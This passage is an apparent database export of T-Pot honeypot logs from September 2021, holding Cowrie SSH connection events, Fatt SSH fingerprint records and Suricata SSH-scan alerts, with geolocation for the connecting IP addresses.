b'SSH-2.0-AsyncSSH_2.1.0'", "session": "96a155175b8d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:09.439528Z", "@timestamp": "2021-09-20T11:06:09.439Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20774	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:09.567106+03	2021-09-20 14:15:02.807613+03	{"_id": "SgXiAnwBvYTbRNuEffvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f0d8ee6e7eed", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:09.567106Z", "@timestamp": "2021-09-20T11:06:09.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20776	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:10.504721+03	2021-09-20 14:15:02.810613+03	{"_id": "aQXiAnwBvYTbRNuEgfvA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:59570 (192.168.176.2:22) [session: 3b9ff9bcf3d0]", "session": "3b9ff9bcf3d0", "@version": "1", "protocol": "ssh", "src_port": 59570, "dest_port": 22, "timestamp": "2021-09-20T11:06:10.504721Z", "@timestamp": "2021-09-20T11:06:10.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20777	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:10.402858+03	2021-09-20 14:15:02.811614+03	{"_id": "UQXiAnwBvYTbRNuEgfu-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1b15c2f38918", "@version": "1", "duration": 2.8756940364837646, "timestamp": "2021-09-20T11:06:10.402858Z", "@timestamp": "2021-09-20T11:06:10.402Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20778	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:10.526348+03	2021-09-20 14:15:02.812612+03	{"_id": "UgXiAnwBvYTbRNuEgfu-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5de38dafc0f9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:10.526348Z", "@timestamp": "2021-09-20T11:06:10.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20779	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:10.523585+03	2021-09-20 14:15:02.813612+03	{"_id": "VAXiAnwBvYTbRNuEgfvA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:47190 (192.168.176.2:22) [session: 5de38dafc0f9]", "session": "5de38dafc0f9", "@version": "1", "protocol": "ssh", "src_port": 47190, "dest_port": 22, "timestamp": "2021-09-20T11:06:10.523585Z", "@timestamp": "2021-09-20T11:06:10.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20780	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:10.717611+03	2021-09-20 14:15:02.815612+03	{"_id": "VQXiAnwBvYTbRNuEgfvA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:48186 (192.168.176.2:22) [session: 8a9a673fb643]", "session": "8a9a673fb643", "@version": "1", "protocol": "ssh", "src_port": 48186, "dest_port": 22, "timestamp": "2021-09-20T11:06:10.717611Z", "@timestamp": "2021-09-20T11:06:10.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20781	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:10.528462+03	2021-09-20 14:15:02.816612+03	{"_id": "YgXiAnwBvYTbRNuEgfvA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47190, "timestamp": "2021-09-20T11:06:10.528462", "@timestamp": "2021-09-20T11:06:10.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20782	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:10.731808+03	2021-09-20 14:15:02.817613+03	{"_id": "ZAXiAnwBvYTbRNuEgfvA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8a9a673fb643", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:10.731808Z", "@timestamp": "2021-09-20T11:06:10.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20783	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:10.956734+03	2021-09-20 14:15:02.818613+03	{"_id": "dwXiAnwBvYTbRNuEhPuM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:06:10.956734+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 509616846969150, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 44380, "dest_port": 22, "timestamp": "2021-09-20T11:06:10.956734Z", "@timestamp": "2021-09-20T11:06:10.956Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
20784	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:11.64144+03	2021-09-20 14:15:02.819613+03	{"_id": "eAXiAnwBvYTbRNuEhPuM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:06:11.641440+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1879829526071712, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 42446, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.641440Z", "@timestamp": "2021-09-20T11:06:11.641Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
20785	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:11.235505+03	2021-09-20 14:15:02.820612+03	{"_id": "ewXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:44380 (192.168.176.2:22) [session: 1e1fef1d24ff]", "session": "1e1fef1d24ff", "@version": "1", "protocol": "ssh", "src_port": 44380, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.235505Z", "@timestamp": "2021-09-20T11:06:11.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20786	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:11.270437+03	2021-09-20 14:15:02.822613+03	{"_id": "fAXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:55008 (192.168.176.2:22) [session: cea22d976ad8]", "session": "cea22d976ad8", "@version": "1", "protocol": "ssh", "src_port": 55008, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.270437Z", "@timestamp": "2021-09-20T11:06:11.270Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20787	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:11.685639+03	2021-09-20 14:15:02.823613+03	{"_id": "fQXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:54194 (192.168.176.2:22) [session: 7dbef6505905]", "session": "7dbef6505905", "@version": "1", "protocol": "ssh", "src_port": 54194, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.685639Z", "@timestamp": "2021-09-20T11:06:11.685Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20788	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:11.704234+03	2021-09-20 14:15:02.824612+03	{"_id": "fgXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:47684 (192.168.176.2:22) [session: b4fc044894dd]", "session": "b4fc044894dd", "@version": "1", "protocol": "ssh", "src_port": 47684, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.704234Z", "@timestamp": "2021-09-20T11:06:11.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20789	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:11.832625+03	2021-09-20 14:15:02.825612+03	{"_id": "fwXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:52174 (192.168.176.2:22) [session: c319d72d9024]", "session": "c319d72d9024", "@version": "1", "protocol": "ssh", "src_port": 52174, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.832625Z", "@timestamp": "2021-09-20T11:06:11.832Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20790	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:11.915486+03	2021-09-20 14:15:02.826612+03	{"_id": "gAXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:44030 (192.168.176.2:22) [session: 5689498eb0fb]", "session": "5689498eb0fb", "@version": "1", "protocol": "ssh", "src_port": 44030, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.915486Z", "@timestamp": "2021-09-20T11:06:11.915Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20791	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:11.92046+03	2021-09-20 14:15:02.827614+03	{"_id": "gQXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:42446 (192.168.176.2:22) [session: 26fb2e2ff8e6]", "session": "26fb2e2ff8e6", "@version": "1", "protocol": "ssh", "src_port": 42446, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.920460Z", "@timestamp": "2021-09-20T11:06:11.920Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20792	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:10.804658+03	2021-09-20 14:15:02.829613+03	{"_id": "pAXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47190, "dest_port": 22, "timestamp": "2021-09-20T11:06:10.804658", "@timestamp": "2021-09-20T11:06:10.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
